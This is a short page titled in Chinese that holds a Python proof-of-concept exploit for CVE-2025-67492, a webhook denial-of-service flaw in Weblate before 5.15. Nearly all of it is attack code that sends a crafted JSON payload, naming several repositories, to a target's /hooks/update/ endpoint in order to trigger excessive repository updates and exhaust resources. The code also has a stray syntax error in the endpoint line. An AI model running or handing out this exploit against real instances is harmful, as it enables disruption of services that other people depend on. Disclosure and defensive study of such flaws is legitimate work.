CVE-2025-67492: Weblate 5.15之前版本Webhook拒绝服务漏洞

# CVE-2025-67492 Webhook DoS PoC # Affected: Weblate < 5.15 # Description: Crafted webhook payload triggers excessive repository updates import requests import json import time TARGET_URL = "https://vulnerable-weblate-instance.com" WEBHOOK_ENDPOINT = f"{TARGET_URL}/hooks/update/"/ # Craft malicious webhook payload # This payload triggers updates for multiple repositories malicious_payload = { "component": [ {"slug": "component-1", "repo": "https://github.com/example/repo1"}, {"slug": "component-2", "repo": "https://github.com/example/repo2"}, {"slug": "component-3", "repo": "https://github.com/example/repo3"}, {"slug": "component-4", "repo": "https://github.com/example/repo4"}, {"slug": "component-5", "repo": "https://github.com/example/repo5"} ], "project": { "slug": "target-project", "repo": "https://github.com/example/project" } } def exploit(): """Send crafted webhook payload to trigger resource exhaustion""" headers = { "Content-Type": "application/json", "User-Agent": "Weblate-Hook" } print(f"[*] Sending malicious webhook payload to {TARGET_URL}") print(f"[*] Payload size: {len(json.dumps(malicious_payload))} bytes") try: response = requests.post( WEBHOOK_ENDPOINT, json=malicious_payload, headers=headers, timeout=30 ) print(f"[*] Response status: {response.status_code}") return response.status_code == 200 except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-67492 PoC - Weblate Webhook Resource Exhaustion") print("=" * 60) exploit()